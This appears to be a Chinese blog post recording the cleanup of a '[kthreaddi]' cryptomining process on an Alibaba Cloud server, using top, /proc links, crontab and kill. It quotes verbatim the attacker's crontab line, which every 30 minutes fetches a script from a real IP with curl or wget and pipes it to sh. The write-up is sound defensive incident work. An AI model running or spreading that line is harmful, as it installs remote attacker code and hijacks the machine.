Linux - kthreaddi 进程导致CPU超高问题 处理记录

    今天登录到阿里云的服务器时,使用top命令查看系统信息发现有个进程【kthreaddi】把CPU给占满了

    登录阿里云控制台查看,发现从凌晨4点左右开始cpu就达到100%:

     查看系统的日志(/var/log/message),果然也是从4点30分左右开始有关【kthreaddi】的信息:

 

  但是我在查看了/tmp目录时并没有发现有什么其他的异常的文件目录,奇了怪了???

  查看挖矿进程的执行文件链接。

ls -l /proc/xxx/exe           // xxx表示该进程的PID。

  输入后发现这个文件已经被删掉了,使用rm -rf /tmp/.JUUXPSyV/[kthreaddi] 不起任何作用。。。。

ls -l /proc/25277/exe
lrwxrwxrwx 1 root root 0 Mar 10 14:31 /proc/25277/exe -> /tmp/.JUUXPSyV/[kthreaddi] (deleted)

  看看定时任务里面有没有什么任务没??

crontab -l
*/30 * * * * (curl --user-agent curl_cron http://194.40.243.98||wget --user-agent wget_cron -q -O - http://194.40.243.98)|sh

  查了下IP 定位竟然在乌克兰。。。。这铁定不是我配的,删除再说 crontab -e

# crontab -e
crontab: installing new crontab
# crontab -l

  查了下~/.ssh/authorized_keys 也都是正常的配置;想了半天也没有别的办法,先kill -9 PID,试试;

  kill掉进程号后,不一会果然还是换了个进程号赫然出现在top中,额,咋整,估计重启也不行吧???

  再来查看一下新启起来的这个进程的执行文件链接,欧吼,这次不一样了;

# top 
 PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
30902 root      20   0  309164   1944   1100 S 97.3  0.1   0:09.54 [kthreaddi]

# ls -l /proc/30902/exe
lrwxrwxrwx 1 root root 0 Mar 10 14:59 /proc/30902/exe -> /tmp/.JUUXPSyV/[kthreaddi]
# ll /tmp/.JUUXPSyV
total 5652
-rwxr-xr-x 1 root root    2180 Mar 10 14:59 config.json
-rwxrwxrwx 1 root root 5781824 Mar 10 14:59 [kthreaddi]

# kill -9 30902
# rm -rf .JUUXPSyV/

  这下终于安静了;

  猜测可能的原因:

1.暴露了太多常见服务的默认端口,如3306(mysql) 8088(hadoop) 80(tomcat/nginx) 443(https) 6379(redis)

2.这些带有访问界面的服务地址端口,没有配置密码,安全性极低! 

posted @ 2022-01-27 18:35  zhangdaopin  阅读(476)  评论(0编辑  收藏  举报